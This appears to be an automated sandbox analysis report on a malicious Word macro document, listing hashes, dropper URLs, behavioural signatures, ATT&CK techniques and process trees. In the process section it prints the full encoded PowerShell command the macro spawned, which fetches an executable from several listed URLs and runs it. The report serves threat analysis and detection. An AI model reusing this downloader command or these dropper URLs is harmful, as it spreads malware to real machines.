739add20d743a8d00b6fc26c0e0985b6876748fe5fee82b81c62b49cb151f571

General

Target

739add20d743a8d00b6fc26c0e0985b6876748fe5fee82b81c62b49cb151f571.doc
Size

127KB
MD5

ebdde483075c4e4989d66aa8d905204a
SHA1

8dbdc9875fce1de0bd61ce33a10b4a3d14bd8e31
SHA256

739add20d743a8d00b6fc26c0e0985b6876748fe5fee82b81c62b49cb151f571
SHA512

2511b413f089d4c9805d42f6290df49000d850e1ee4d1bada66b8fa93a53ebceb4befc1d5a05504ed1d47b59e823f3a9cbe3850588303ac005369e13d89409f4

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://overcreative.com/css/shecgesia_cjtf7s6-2586658720/

exe.dropper

http://antonresidential.com/wkdrlk/papkaa17/NujUJetNy/

exe.dropper

http://gawaher-services.com/nngb24y/vXGApWUwd/

exe.dropper

http://thepropertydealerz.com/cgi-bin/5ze7vs_tgt6e3k-5/

exe.dropper

http://guimaraesconstrutorasjc.com.br/wp-content/NTlTZtAUB/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2108	1564	powershell.exe

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

45 2108 powershell.exe
55 2108 powershell.exe
61 2108 powershell.exe
68 2108 powershell.exe

flow	pid	process
45	2108	powershell.exe
55	2108	powershell.exe
61	2108	powershell.exe
68	2108	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3988 WINWORD.EXE
3988 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2108 powershell.exe
2108 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2108 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3988 WINWORD.EXE
3988 WINWORD.EXE
3988 WINWORD.EXE
3988 WINWORD.EXE
3988 WINWORD.EXE
3988 WINWORD.EXE
3988 WINWORD.EXE

pid	process
3988	WINWORD.EXE
3988	WINWORD.EXE

pid	process
2108	powershell.exe
2108	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2108	powershell.exe

pid	process
3988	WINWORD.EXE
3988	WINWORD.EXE
3988	WINWORD.EXE
3988	WINWORD.EXE
3988	WINWORD.EXE
3988	WINWORD.EXE
3988	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 3988 wrote to memory of 1432	3988	WINWORD.EXE	splwow64.exe
PID 3988 wrote to memory of 1432	3988	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\739add20d743a8d00b6fc26c0e0985b6876748fe5fee82b81c62b49cb151f571.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3988

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e JABOAF8ANABfADAANQA3AF8APQAnAHUAMAAyAF8AOQAwACcAOwAkAFUAOQA2ADQAOQAxADcAXwAgAD0AIAAnADcANwAwACcAOwAkAHcAMwA1ADYAXwA3AD0AJwBWADEAMQAyADYAMgA5ACcAOwAkAHMANgA5ADgAMQBfADEAMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVQA5ADYANAA5ADEANwBfACsAJwAuAGUAeABlACcAOwAkAEwAOQAwADcANAAxADQAXwA9ACcAaAA3ADcAMAAzADEAOAAnADsAJABtADAAMQA0ADkAOQAwAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdABgAC4AVwBgAEUAQgBDAGwASQBlAGAATgB0ADsAJABhADMANAAwADMANwA5AD0AJwBoAHQAdABwAHMAOgAvAC8AbwB2AGUAcgBjAHIAZQBhAHQAaQB2AGUALgBjAG8AbQAvAGMAcwBzAC8AcwBoAGUAYwBnAGUAcwBpAGEAXwBjAGoAdABmADcAcwA2AC0AMgA1ADgANgA2ADUAOAA3ADIAMAAvAEAAaAB0AHQAcAA6AC8ALwBhAG4AdABvAG4AcgBlAHMAaQBkAGUAbgB0AGkAYQBsAC4AYwBvAG0ALwB3AGsAZAByAGwAawAvAHAAYQBwAGsAYQBhADEANwAvAE4AdQBqAFUASgBlAHQATgB5AC8AQABoAHQAdABwADoALwAvAGcAYQB3AGEAaABlAHIALQBzAGUAcgB2AGkAYwBlAHMALgBjAG8AbQAvAG4AbgBnAGIAMgA0AHkALwB2AFgARwBBAHAAVwBVAHcAZAAvAEAAaAB0AHQAcAA6AC8ALwB0AGgAZQBwAHIAbwBwAGUAcgB0AHkAZABlAGEAbABlAHIAegAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADUAegBlADcAdgBzAF8AdABnAHQANgBlADMAawAtADUALwBAAGgAdAB0AHAAOgAvAC8AZwB1AGkAbQBhAHIAYQBlAHMAYwBvAG4AcwB0AHIAdQB0AG8AcgBhAHMAagBjAC4AYwBvAG0ALgBiAHIALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ATgBUAGwAVABaAHQAQQBVAEIALwAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAcwA1ADQANAAyAF8AMwA9ACcASAA1ADgANQAzADAANwBfACcAOwBmAG8AcgBlAGEAYwBoACgAJABaADEAOQA5ADEAOQA1AF8AIABpAG4AIAAkAGEAMwA0ADAAMwA3ADkAKQB7AHQAcgB5AHsAJABtADAAMQA0ADkAOQAwAC4ARABvAFcATgBsAG8AYQBkAEYAaQBsAGUAKAAkAFoAMQA5ADkAMQA5ADUAXwAsACAAJABzADYAOQA4ADEAXwAxADIAKQA7ACQAagAzADEANwBfADEAMQAwAD0AJwBxADIAOQA0ADIAMAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAHMANgA5ADgAMQBfADEAMgApAC4AbABlAG4ARwBUAEgAIAAtAGcAZQAgADIAOQAyADIAOAApACAAewAmACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABzADYAOQA4ADEAXwAxADIAOwAkAGoAOAAyADEANgA5ADcAPQAnAFYAOAAzADMANQAxACcAOwBiAHIAZQBhAGsAOwAkAG4AMAA1ADQAMgAxADUAPQAnAEMAOAA1ADQANAA1ADkANwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABhADMANwA5ADUAMgA9ACcASgAwADcAOQA5ADEAOAAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2108

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1432-137-0x0000000000000000-mapping.dmp

Download
memory/2108-142-0x00007FF8E4EC0000-0x00007FF8E5981000-memory.dmp

Filesize
10.8MB

Download
memory/2108-141-0x00007FF8E4EC0000-0x00007FF8E5981000-memory.dmp

Filesize
10.8MB

Download
memory/2108-140-0x00007FF8E4EC0000-0x00007FF8E5981000-memory.dmp

Filesize
10.8MB

Download
memory/2108-139-0x000001BE321F0000-0x000001BE32212000-memory.dmp

Filesize
136KB

Download
memory/3988-133-0x00007FF8D0890000-0x00007FF8D08A0000-memory.dmp

Filesize
64KB

Download
memory/3988-136-0x00007FF8CDFC0000-0x00007FF8CDFD0000-memory.dmp

Filesize
64KB

Download
memory/3988-135-0x00007FF8CDFC0000-0x00007FF8CDFD0000-memory.dmp

Filesize
64KB

Download
memory/3988-138-0x000001B2019D0000-0x000001B2019D4000-memory.dmp

Filesize
16KB

Download
memory/3988-134-0x00007FF8D0890000-0x00007FF8D08A0000-memory.dmp

Filesize
64KB

Download
memory/3988-130-0x00007FF8D0890000-0x00007FF8D08A0000-memory.dmp

Filesize
64KB

Download
memory/3988-131-0x00007FF8D0890000-0x00007FF8D08A0000-memory.dmp

Filesize
64KB

Download
memory/3988-132-0x00007FF8D0890000-0x00007FF8D08A0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads